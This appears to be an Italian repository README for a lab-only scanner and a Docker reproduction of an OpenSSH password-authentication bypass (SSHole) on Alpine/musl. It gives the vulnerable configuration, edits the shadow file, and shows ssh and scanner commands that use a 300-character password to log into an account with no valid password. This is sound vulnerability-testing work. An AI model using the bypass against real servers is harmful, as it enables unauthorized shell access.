Scanner solo per laboratorio e caso di test Docker Alpine riproducibile per il bypass dell'autenticazione tramite password di OpenSSH SSHole (CVE-2026-123158) che sfrutta password eccessivamente lunghe.
Questo repository contiene uno scanner solo per laboratorio e un caso di test riproducibile su Alpine Linux per il bypass dell'autenticazione tramite password di SSHole. Non eseguire il test contro sistemi che non possiedi o per i quali non hai un'esplicita autorizzazione a testare.
Il percorso vulnerabile richiede tutte le seguenti condizioni:
openssh-server non-PAM;PasswordAuthentication yes e UsePAM no;/etc/shadow sia esattamente *;$5$ o $6$; eL'account con * è intenzionale: * significa che nessuna password normale dovrebbe funzionare. Nella configurazione vulnerabile, la gestione di una password eccessivamente lunga da parte di musl può far sì che quell'account si autentichi comunque.
L'esempio seguente utilizza Docker e pubblica il servizio SSH del container su 127.0.0.1:2222. Alpine 3.24.3 e openssh-server 10.3_p1-r1 sono versioni precedenti alla correzione per questo laboratorio. Fissa il pacchetto in modo che un successivo aggiornamento del repository non trasformi silenziosamente l'esercizio in un test con patch applicata.
Sull'host, scarica e avvia l'immagine:
docker pull alpine:3.24.3
docker run --detach --name sshole-alpine --publish 127.0.0.1:2222:22 \
alpine:3.24.3 sleep infinity
Apri una shell nel container come root e installa il pacchetto server con versione bloccata:
docker exec --interactive --tty sshole-alpine sh
apk add --no-cache \
openssh-server=10.3_p1-r1 \
openssh-client=10.3_p1-r1
Se il mirror Alpine normale non contiene più quel pacchetto storico, utilizza un
mirror o uno snapshot di pacchetti Alpine che contenga 10.3_p1-r1; non sostituirlo
con il pacchetto -r2 attuale quando riproduci lo stato vulnerabile.
Conferma le proprietà importanti all'interno del container:
apk info -v openssh-server
ldd /usr/sbin/sshd | grep musl
Crea un account ordinario con una password reale e un account denominato
asterisk il cui campo shadow è letteralmente *:
adduser -D -s /bin/sh demo
printf 'demo:Correct-Horse-Battery-Staple-123!\n' | chpasswd
adduser -D -s /bin/sh asterisk
sed -i -E 's/^asterisk:[^:]*:/asterisk:*:/' /etc/shadow
grep -E '^(demo|asterisk):' /etc/shadow
L'ultimo comando dovrebbe mostrare un hash $5$ o $6$ per demo, ed esattamente
asterisk:*: per asterisk. Non incollare l'output completo di shadow in una
issue pubblica o in un log.
Configura il server per il percorso di autenticazione tramite password vulnerabile, non-PAM, e crea le chiavi host:
mkdir -p /run/sshd
ssh-keygen -A
cat >> /etc/ssh/sshd_config <<'EOF'
UsePAM no
PasswordAuthentication yes
KbdInteractiveAuthentication no
PermitRootLogin no
AllowUsers demo asterisk
EOF
sshd -t
sshd -T | grep -Ei '^(usepam|passwordauthentication|kbdinteractiveauthentication|permitrootlogin) '
La configurazione prevista include usepam no e
passwordauthentication yes. Avvia sshd in background dall'host:
docker exec --detach sshole-alpine /usr/sbin/sshd -D -e
Per prima cosa verifica che l'account reale rifiuti la password lunga. Esegui questo comando
dall'host; quando richiesto, inserisci 300 caratteri A:
ssh -p 2222 \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=1 \
[email protected]
L'accesso demo dovrebbe essere rifiutato. Ora usa lo stesso comando per l'account
il cui campo password è *:
ssh -p 2222 \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=1 \
[email protected]
Inserisci la stessa password di 300 caratteri. Su un server vulnerabile, SSH segnala
che l'autenticazione è riuscita e apre una shell come asterisk, anche se a
quell'account non è stata assegnata alcuna password valida. Un server con la patch applicata rifiuta
l'accesso. L'intervallo interessato è 257–1.024 byte, quindi una password più corta non è un
test negativo valido per questo problema.
Dopo un accesso riuscito al laboratorio, verifica l'identità senza esporre alcun dato sensibile:
whoami
id
Installa la dipendenza dello scanner in un ambiente virtuale sull'host:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install paramiko
Esegui lo scanner contro la porta del lab e l'account di test:
python3 sshole-scanner.py 127.0.0.1 \
--port 2222 \
--username asterisk \
--password-length 300
Utilizza l'output JSON per risultati leggibili dalla macchina:
python3 sshole-scanner.py 127.0.0.1 \
--port 2222 \
--username asterisk \
--password-length 300 \
--json
Per il laboratorio vulnerabile, cerca un risultato AUTHENTICATED. Un target corretto o
altrimenti protetto dovrebbe invece mostrare AUTHENTICATION_REJECTED o una connessione
chiusa. Lo scanner esegue il proprio test di login con password lunga
solo quando il banner SSH rientra nel suo intervallo di revisione.
Nota sul repository: il checkout attuale importa
BannerInfoescan_bannerdassh_scanner, ma quel modulo non è presente in questo checkout. I comandi di setup e validazione sopra sono completi; i comandi dello scanner richiedono che quel modulo venga ripristinato o aggiunto prima di poter essere eseguiti.
Il container del laboratorio è intenzionalmente usa e getta:
docker rm --force sshole-alpine
deactivate 2>/dev/null || true
Per sistemi reali, aggiornare al pacchetto OpenSSH corretto dal fornitore oppure disabilitare
l'autenticazione tramite password e riavviare sshd. Non utilizzare mai questa riproduzione come
configurazione di produzione.